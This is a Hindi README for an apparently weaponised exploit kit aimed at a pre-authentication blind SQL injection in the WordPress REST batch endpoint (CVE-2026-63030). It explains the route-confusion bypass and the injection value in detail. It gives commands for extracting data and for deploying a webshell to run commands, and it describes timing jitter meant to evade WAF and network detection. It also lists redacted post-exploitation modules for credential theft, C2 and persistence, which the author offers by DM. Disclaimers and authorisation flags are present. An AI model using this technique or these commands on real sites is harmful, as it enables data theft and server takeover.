
wp2shell का एक पूर्ण रेड-टीम (आक्रामक सुरक्षा) हथियारीकृत संस्करण, जो अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए निर्मित है।
बिना प्रमाणीकरण के ब्लाइंड SQL इंजेक्शन के लिए एक स्व-निहित प्रूफ-ऑफ-कॉन्सेप्ट, जो WordPress REST बैच एंडपॉइंट (/wp-json/batch/v1) के माध्यम से पहुँच योग्य है। यह प्रकाशित भेद्यता तंत्रों से निर्मित एक स्वतंत्र कार्यान्वयन है।
आधिकारिक परामर्श: WordPress Security Release | CVE-2026-63030
लेखक: J4ck3LSyN
प्राधिकरण: CFSD, NFK & C4b1NKr3W
नोट: मैंने स्पष्ट कानूनी कारणों से इसके साथ संबद्ध हथियारीकृत
r00t.pyपर्सिस्टेंस इम्प्लांट शामिल नहीं किया है। इसे प्राप्त करने के लिए, आप मुझे x पर DM कर सकते हैं।
[!WARNING]
यह कोड केवल शैक्षिक और शोध उद्देश्यों के लिए AS IS प्रदान किया गया है। इस PoC का उपयोग प्रोडक्शन सिस्टम, साझा वातावरण, या किसी अनधिकृत लक्ष्य पर न करें।
- इस कोड को चलाने या होस्ट करने से एंटीवायरस डिटेक्शन, सुरक्षा निगरानी अलर्ट, या दुरुपयोग होने पर कानूनी परिणाम ट्रिगर हो सकते हैं।
- लेखक और रिपॉजिटरी अनुरक्षक इस कोड से उत्पन्न किसी भी क्षति, दुरुपयोग, या अवैध गतिविधि के लिए कोई दायित्व नहीं मानते हैं।
- विशेष रूप से उचित प्राधिकरण के साथ पृथक प्रयोगशाला वातावरण में उपयोग करें। केवल रक्षात्मक अनुसंधान, भेद्यता विश्लेषण, और ब्लू-टीम परीक्षण के लिए अभिप्रेत है。
poc.py - मुख्य प्रूफ-ऑफ-कॉन्सेप्ट CLI (चेक, रीड, शेल मोड)val.py - हल्का पैसिव भेद्यता वैलिडेटर (val.py <target>)MITIGATIONS.md - व्यापक शमन और सख्तीकरण मार्गदर्शिकाLETHALITY.html - विज़ुअल क्षमता घातकता मैट्रिक्स (हीटमैप + किल चेन)LICENSE - MIT लाइसेंसr00t.py:redacted - मुख्य इम्प्लांट ऑर्केस्ट्रेटर (सब कुछ जोड़ता है)modules/ - पोस्ट-एक्सप्लॉयटेशन इम्प्लांट मॉड्यूलexploit.py - कोर एक्सप्लॉयटेशन लॉजिक (SQLi + RCE प्रिमिटिव)privesc.py:redacted - स्थानीय विशेषाधिकार वृद्धि जाँच (DirtyCOW, sudo, capabilities, आदि)lpe_byond.py:redacted - BYOVD + eBPF तकनीकों का उपयोग करके उन्नत LPE (ऑपरेटर-गेटेड)recon.py:redacted - होस्ट प्रोफाइलिंग और एन्यूमरेशनpersistence.py:redacted - पर्सिस्टेंस तंत्र (systemd, cron, SSH कुंजियाँ)c2.py:redacted - एन्क्रिप्टेड C2 बीकन (HTTPS + DoH)exfil.py:redacted - क्रेडेंशियल हार्वेस्टिंग और डेटा एक्सफिल्ट्रेशनstealth.py:redacted - एंटी-विश्लेषण, सैंडबॉक्स डिटेक्शन, और ऑबफस्केशन| शाखा | प्रभावित संस्करण | समाधान संस्करण |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
विवरण के लिए आधिकारिक WordPress सुरक्षा रिलीज़ देखें।
बैच एंडपॉइंट एक कॉल में कई सब-रिक्वेस्ट भेजता है, प्रत्येक को स्वतंत्र रूप से वैलिडेट और अनुमति-जाँच करता है। जब कोई सब-रिक्वेस्ट पथ wp_parse_url() में विफल होता है, तो उसे वैलिडेशन ऐरे में जोड़ दिया जाता है लेकिन नहीं मिलान-हैंडलर ऐरे में। दोनों ऐरे तालमेल से बाहर हो जाते हैं, और एक बाद वाली सब-रिक्वेस्ट अलग सब-रिक्वेस्ट के हैंडलर के अंतर्गत भेजी जाती है। यही रूट कन्फ्यूज़न है।
यह PoC प्रिमिटिव को दो बार नेस्ट करता है:
POST /wp/v2/posts अनुरोध जो requests बॉडी ले जाता है, बैच हैंडलर के अंतर्गत ही भेजा जाता है। एक posts अनुरोध के रूप में वैलिडेट होने के कारण, इसकी आंतरिक requests सूची को बैच स्कीमा के विरुद्ध फिर कभी जाँचा नहीं जाता, इसलिए आंतरिक सब-रिक्वेस्ट GET का उपयोग कर सकती हैं (मेथड अलाउ-लिस्ट बायपास)।author_exclude=... ले जाने वाला GET /wp/v2/users अनुरोध posts get_items() के अंतर्गत भेजा जाता है। users संग्रह स्कीमा में कोई author_exclude पैरामीटर नहीं है, इसलिए मान बिना छेड़े वैलिडेशन पास कर जाता है। posts get_items() author_exclude को WP_Query क्वेरी वेरिएबल author__not_in से मैप करता है, जिसे कमजोर बिल्ड SQL में एक रॉ स्ट्रिंग के रूप में इंटरपोलेट करते हैं।अंतिम सिंक एक प्री-ऑथेंटिकेशन बूलियन / टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन है:
... post_author NOT IN (<value>) ...
0) <sql>-- - का मान IN() सूची को बंद करता है और मनमाना SQL जोड़ता है।
PoC फेल-क्लोज्ड है। तीन रनटाइम गेट आकस्मिक या दायरे-से-बाहर निष्पादन को रोकते हैं। सभी को modules/exploit.py में लागू किया गया है; poc.py में CLI केवल उन्हें पारित करता है।
AuthorizationError को BatchClient._ensure_authorized(), AdminSession._ensure_authorized(), और AdminSession._ensure_r00t() में उठाया जाता है।BatchClient._count() सॉकेट खुलने से पहले --max-requests लागू करता है।--r00t क्षमता विभाजक है: इसके बिना भेजा गया बिल्ड वेबशेल तैनात या निष्पादित नहीं कर सकता।shell के लिए क्रेडेंशियल हैंडलिंग: एडमिन उपयोगकर्तानाम/पासवर्ड --user / --password, या पर्यावरण चर / एक सुरक्षित फ़ाइल से प्राप्त होते हैं।
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # basic sanity check
आवश्यकताएँ: Python 3.11+, केवल मानक लाइब्रेरी (कोई pip निर्भरता नहीं)।
python3 poc.py <command> <url> [flags]
सामान्य फ्लैग (सभी सबकमांड):
--authorized Assert you own / are authorized to test <url>. Required to send.
--noop Build/validate payloads without sending (no network contact).
--max-requests N Hard cap on requests to the target.
--rest-route Use /?rest_route=/batch/v1 instead of /wp-json/batch/v1.
--timeout FLOAT Request timeout (default 30).
--proxy URL HTTP(S) proxy.
--insecure Disable TLS certificate verification.
check - भेद्यता की पुष्टि करें (गैर-विनाशकारी)read - ब्लाइंड SQL निष्कर्षणshell - पोस्ट-ऑथ वेबशेल सहायक (--r00t आवश्यक)validate - पैसिव पहचानकर्तात्वरित संदर्भ
पूर्ण कमांड दस्तावेज़ीकरण मूल विस्तृत अनुभागों में उपलब्ध है (या python3 poc.py --help चलाएँ)।
jitter) और प्रति-नमूना भिन्न SLEEP मान निश्चित-कैडेंस / निश्चित-डेल्टा WAF/NDR व्यवहारिक विश्लेषण को विफल करते हैं।पोस्ट-एक्सप्लॉयटेशन मॉड्यूल (
recon,privesc,exfil,persistence,stealth,c2,lpe_byond) औरr00t.pyएक अलग इम्प्लांट श्रृंखला बनाते हैं जो नेटवर्क-उन्मुख PoC का नहीं है और जानबूझकर साझा बिल्ड से बाहर रखा गया है। वे इस दस्तावेज़ के दायरे से बाहर हैं।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE देखें।
अस्वीकरण: केवल उन्हीं सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं। लेखक किसी भी दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।
| फ्लैग | दायरा | अनुपस्थित होने पर प्रभाव |
|---|
--authorized | सभी नेटवर्क I/O | किसी भी भेजने से पहले AuthorizationError |
--noop | सभी सबकमांड | पेलोड बनाता/प्रिंट करता है; कोई नेटवर्क संपर्क नहीं |
--max-requests | BatchClient | हार्ड रिक्वेस्ट बजट |
--r00t | shell सबकमांड | पोस्ट-ऑथ RCE क्षमताएँ रोक दी जाती हैं |
| लक्ष्य | कमांड |
|---|
| प्रोब पेलोड का पूर्वावलोकन | python3 poc.py check <url> --noop |
| भेद्यता की पुष्टि | python3 poc.py check <url> --authorized |
| सक्रिय टाइमिंग प्रमाण | ... check <url> --authorized --confirm-sqli |
| SQLi पेलोड का पूर्वावलोकन | python3 poc.py read <url> --noop --query "SELECT @@version" |
| डेटा निकालें | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| वेबशेल आर्टिफैक्ट का पूर्वावलोकन | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| तैनात करें + निष्पादित करें (अधिकृत) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| पैसिव स्कैन | python3 poc.py validate <url> --authorized |